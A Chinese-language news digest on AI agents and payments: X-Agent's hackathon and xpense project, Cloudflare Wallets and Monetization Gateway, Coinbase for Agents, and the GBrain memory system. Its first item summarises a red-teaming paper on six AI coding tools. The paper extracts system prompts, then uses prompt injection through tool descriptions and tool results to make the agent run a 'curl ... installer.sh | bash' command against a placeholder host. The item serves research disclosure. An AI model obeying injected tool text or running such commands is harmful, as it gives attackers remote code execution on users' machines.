一篇已被 ISSTA 2026 接收的论文披露，研究者对 Cursor、Claude Code、Copilot、Windsurf、Cline、Trae 六款 AI 编程工具做系统性红队测试，发现旧版本全部存在完整攻击链风险。攻击分两步：先通过 ToolLeak 从工具参数中提取系统提示词，再用工具描述与工具返回值组成的双通道提示词注入，诱导智能体执行「curl -fsSL http://xxx/installer.sh | bash」并实现远程代码执行。新版 Claude Code 和 Cursor 的成功率已明显下降，但部分组合仍可被攻破。

Web3 AI 生态网络 X-Agent 已启动「X-Agent AI MCP Hackathon 2026」线上黑客松，面向全球开发者与 Web3 AI 团队开放。赛事周期接近 4 周，包含 5 天热身和 14 天开发期。参赛者可基于 API 开发 AI 或加密功能并提交源码，通过验证和安全审查后，项目可被封装为 MCP 工具。优质获奖项目还将由 X-Agent 推荐上架至 OKX.AI 智能体 Marketplace，支持按次付费收益分成。

Cloudflare 于 8 月 4 日宣布推出 Wallets，但当前已交付内容主要是钱包 handle 认领，真正用于购买 API 与内容的支付功能仍标注为“Soon”。文章梳理了 Wallets、Stripe Projects 与 Monetization Gateway 三条产品线的差异，并指出 x402 网络近 30 天录得 7,541 万笔交易和 2,424 万美元交易量，并不能直接等同于 Cloudflare Wallet 的实际采用情况。现阶段，Wallet 的稳定币余额、白名单、额度、支持链与地区、KYC 和费率等关键信息仍未披露。

X-Agent宣布开源基础设施项目 xagentAI/xpense，定位为 AI Agent 的支付控制平面。该项目在完成 OKX Agentic Wallet 深度集成并上线 OKX 市场付费 MCP 工具后发布，重点解决机器自主消费中的资金额度、重复扣费与交付验证问题，并提出七步控制流程、双状态机设计及四项工程原则。

Coinbase 正式推出「Coinbase for Agents」，AI 代理在用户授权下可直接操作账户完成交易与付款。产品以 MCP 与 CLI 双形式上线，支持 ChatGPT、Claude 等主流代理接入。三大应用场景包括策略投资组合再平衡、资金效率优化与数据驱动交易。

Cloudflare已开放Monetization Gateway候补名单，支持开发者通过x402协议对网页、API、数据集和MCP工具收费，结算采用稳定币。

Garry Tan开源生产级AI记忆系统GBrain，面向OpenClaw等Agent，采用Markdown、Git Repo与Postgres混合检索，并以“梦循环”机制整理和补全记忆。

Cloudflare 发布 Monetization Gateway，允许客户对受保护的网页、数据集、API 等资源设置付费访问规则。该网关基于 x402 协议，提供统一支付策略管理与边缘验证执行，初期以稳定币结算。目前等待名单已开放。